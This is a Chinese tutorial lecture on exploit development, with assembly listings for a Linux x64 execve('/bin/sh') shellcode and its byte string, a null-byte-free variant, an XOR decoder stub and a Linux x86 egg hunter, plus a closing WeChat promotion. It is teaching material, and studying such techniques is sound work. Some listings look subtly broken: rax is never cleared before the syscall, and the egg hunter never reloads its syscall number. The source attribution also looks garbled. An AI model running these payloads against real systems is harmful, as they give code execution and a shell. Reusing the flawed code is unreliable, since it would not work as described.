91、漏洞利用开发(一):Shellcode编写、编码器、Egg Hunter

各位好,欢迎来到第91讲。今天我们要聊的是漏洞利用开发中最核心、也最有趣的部分——Shellcode编写、编码器以及Egg Hunter。说白了,就是当你拿到一个程序的控制权后,怎么让它执行你想要的代码,以及怎么绕过那些烦人的安全机制。

我个人习惯把漏洞利用开发比作一场猫鼠游戏。你找到了一个漏洞,就像找到了一个老鼠洞。但洞口可能有各种障碍——比如坏字符、地址随机化、甚至只有一小块可控内存。这时候,你就需要Shellcode、编码器和Egg Hunter这些工具来帮你打通最后一段路。

一、Shellcode编写:从零开始造轮子

Shellcode,本质上就是一段机器码。它的目标很明确:执行你想要的系统调用,比如打开一个Shell、执行一条命令、或者反弹一个连接。我刚开始学的时候,总觉得这东西很神秘,后来发现,说白了就是汇编语言加一点技巧。

1.1 一个最简单的Shellcode:execve("/bin/sh")

我们先来看一个经典的例子。在Linux x64下,要执行/bin/sh,我们需要调用execve系统调用。系统调用号是59(0x3b)。

嗯,这里要注意:execve需要三个参数——rdi指向文件名,rsi指向参数数组,rdx指向环境变量数组。我们通常把rsirdx设为0。

; nasm -f elf64 shellcode.asm -o shellcode.o
; ld shellcode.o -o shellcode
BITS 64
global _start
_start:
    xor rsi, rsi          ; rsi = 0
    xor rdx, rdx          ; rdx = 0
    mov rdi, 0x68732f6e69622f  ; "/bin/sh" 的小端序表示
    push rdi
    mov rdi, rsp          ; rdi 指向栈上的字符串
    mov al, 59            ; 系统调用号 59
    syscall

编译后提取机器码,你会得到一串类似这样的字节:\x48\x31\xf6\x48\x31\xd2\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x48\x89\xe7\xb0\x3b\x0f\x05

我的经验: 写Shellcode时,最怕的就是出现坏字符。比如在栈溢出中,\x00(空字节)会截断字符串。上面的代码里,mov rdi, 0x68732f6e69622f 这个立即数里就包含了 \x00。所以实际利用时,我们通常会用一些技巧来避免空字节。

1.2 避免空字节的技巧

为什么会这样?因为mov rdi, imm64这条指令,如果立即数的高位是0,它就会编码成带\x00的形式。解决办法有很多,我常用的一个是:

  • xor清零寄存器,然后push字符串,最后mov rdi, rsp
  • 或者用lea指令来加载地址。
  • 再或者,把字符串拆开,用movshl组合。

举个例子,避免空字节的/bin/sh字符串构造:

xor rax, rax
push rax                ; 字符串结束符 \0
mov rax, 0x68732f2f6e69622f  ; "hs//nib/" 注意这里用了双斜杠
push rax
mov rdi, rsp

你看,0x68732f2f6e69622f 这个值里没有空字节,因为我们在路径里加了一个多余的斜杠/,Linux内核会忽略它。

二、编码器:绕过字符过滤的利器

有时候,目标程序会对输入做严格的过滤。比如只允许可见字符,或者禁止某些特定字节。这时候,你的Shellcode就不能直接用了。怎么办?编码器就是干这个的。

编码器的原理很简单:把原始Shellcode进行编码(比如XOR、ADD、Base64等),然后在运行时用一个解码器(stub)把它还原回来。解码器本身也是一段Shellcode,它必须符合字符过滤规则。

2.1 一个简单的XOR编码器

我记得有一次做CTF,题目要求Shellcode只能包含字母和数字。我写了一个简单的XOR编码器,把Shellcode和密钥0xAA异或,然后解码器再异或一次还原。

解码器的核心逻辑:

; 假设编码后的Shellcode在 rsi 指向的内存中
; 长度在 rcx 中
decode_loop:
    lodsb               ; 加载一个字节到 al
    xor al, 0xAA        ; 解码
    stosb               ; 存储到 rdi 指向的内存
    loop decode_loop

当然,实际利用时,解码器本身也要避免坏字符。这就需要你精心设计指令序列了。

避坑指南: 我曾经在写解码器时,忘了考虑解码器自身的长度。结果解码器执行到一半,把自己给覆盖了,程序直接崩溃。所以,一定要确保解码器代码和编码后的Shellcode在内存中不重叠,或者用相对寻址来避免这个问题。

2.2 常见编码器类型

编码器类型 原理 优点 缺点
XOR编码器 每个字节与固定密钥异或 简单、快速 密钥容易被暴力破解
ADD/SUB编码器 每个字节加减固定值 同样简单 模式明显
多态编码器 每次生成不同的解码器 抗签名检测 实现复杂
Alpha数字编码器 只使用字母和数字 绕过严格过滤 体积膨胀大

你想想看,如果目标程序只允许[a-zA-Z0-9],那你的Shellcode体积可能会膨胀到原来的10倍以上。这就是为什么有时候我们需要更高级的技巧——比如Egg Hunter。

三、Egg Hunter:在有限空间中寻找无限可能

Egg Hunter,直译过来就是“蛋猎手”。这个名字挺形象的。想象一下,你只有一个很小的缓冲区(比如几十字节),根本放不下完整的Shellcode。但你可以放一段“猎手”代码,它的任务是在进程的地址空间里寻找你预先放置的“蛋”(一段特殊的标记+真正的Shellcode)。

为什么会需要这个?我遇到过一种情况:目标程序有一个很小的栈溢出,只能覆盖返回地址和几个字节。但程序本身会多次读取输入,或者有堆内存可以控制。这时候,我就在第一次输入时放一个Egg Hunter,在第二次输入时放真正的Shellcode。Egg Hunter会扫描内存,找到那个蛋,然后跳过去执行。

3.1 Egg Hunter的工作原理

一个典型的Egg Hunter流程:

  1. 设置一个起始地址(比如从某个内存页开始)。
  2. 检查当前地址是否包含“蛋标记”(比如0x41414141)。
  3. 如果找到,跳转到蛋标记后面的Shellcode。
  4. 如果没找到,地址加1,继续扫描。
  5. 如果遇到无效内存页(sigsegv),跳过整个页。

这里的关键是处理无效内存页。你不能直接访问未映射的内存,否则程序会崩溃。所以,Egg Hunter通常会用sigaction或者access系统调用来检测内存是否可读。

3.2 一个经典的Linux x86 Egg Hunter

下面这个例子来自经典的Safari论文,它使用access系统调用来检测内存:

; Egg Hunter for Linux x86
; 蛋标记: 0x41414141
; 系统调用 access: eax = 0x21
; 参数: ebx = 地址, ecx = 模式 (0 表示存在)
BITS 32
global _start
_start:
    xor edx, edx          ; edx = 0
    mov eax, 0x21         ; access 系统调用号
next_page:
    or dx, 0xfff          ; 对齐到页边界 (4096)
next_addr:
    inc edx               ; 下一个地址
    lea ebx, [edx+0x4]    ; 检查 edx+4 处(避免检查蛋标记本身)
    int 0x80              ; 调用 access
    cmp al, 0xf2          ; 检查返回值 (EFAULT = -14, 即 0xf2)
    jz next_page          ; 如果无效,跳到下一页
    cmp [edx], 0x41414141 ; 检查蛋标记
    jnz next_addr         ; 没找到,继续
    jmp edx               ; 找到,跳转到蛋标记处执行

嗯,这里要注意:access系统调用在检查无效地址时,会返回-EFAULT(即0xfffffff2),而al寄存器会保存低8位,也就是0xf2。所以我们可以用cmp al, 0xf2来判断。

重要提醒: Egg Hunter本身不能太大。如果它太大了,就失去了“在有限空间中执行”的意义。一般来说,一个好的Egg Hunter应该控制在30-50字节以内。上面的例子大约是30字节,还算合格。

四、知识体系与核心逻辑

为了让你更直观地理解这三者之间的关系,我画了一张图:

漏洞利用开发核心流程 漏洞触发 有字符过滤? 编码器 空间足够? 直接Shellcode 执行Shellcode 流程节点 判断节点 编码器路径 直接路径

这张图展示了漏洞利用开发中的决策流程。你触发漏洞后,首先要判断目标环境是否有字符过滤。如果有,就需要用编码器对Shellcode进行编码。然后,判断可用空间是否足够放下完整的Shellcode。如果不够,就需要用Egg Hunter来寻找更大的内存区域。最后,执行真正的Shellcode。

五、实战中的一些心得

好了,技术点讲完了。最后分享几个我在实战中踩过的坑:

  • 测试环境很重要: 我建议你在本地用Docker搭建一个和目标一样的系统环境。不同内核版本、不同libc版本,都可能影响Shellcode的执行。我曾经在Ubuntu 18.04上写好的Shellcode,放到CentOS 7上就崩了,原因是系统调用号不一样。
  • 调试器是你的好朋友: 用GDB单步执行你的Shellcode,观察寄存器和内存的变化。你会发现很多意想不到的问题,比如栈对齐、指令长度错误等。
  • 不要迷信现成的Shellcode: 网上有很多现成的Shellcode,但直接拿来用往往不行。因为目标环境的地址、端口、坏字符规则都不一样。我习惯自己写,或者至少把现成的代码理解透了再改。
  • Egg Hunter的稳定性: 如果你用Egg Hunter,一定要确保蛋标记足够独特(比如8字节的随机值),避免误匹配。另外,扫描范围也要控制好,不要扫到内核空间,否则会触发段错误。

嗯,这一讲的内容就到这里。Shellcode编写、编码器、Egg Hunter,这三者是漏洞利用开发的基础功。你想想看,没有它们,你就算找到了漏洞,也只能看着程序崩溃,什么都做不了。所以,多练、多写、多调试,慢慢就会找到感觉。

记住,逆向工程和漏洞利用,本质上是对计算机系统底层原理的深刻理解。每当你解决一个问题,你对系统的认识就会更深一层。好了,我们下一讲再见。


公众号:蓝海资料掘金营,微信deep3321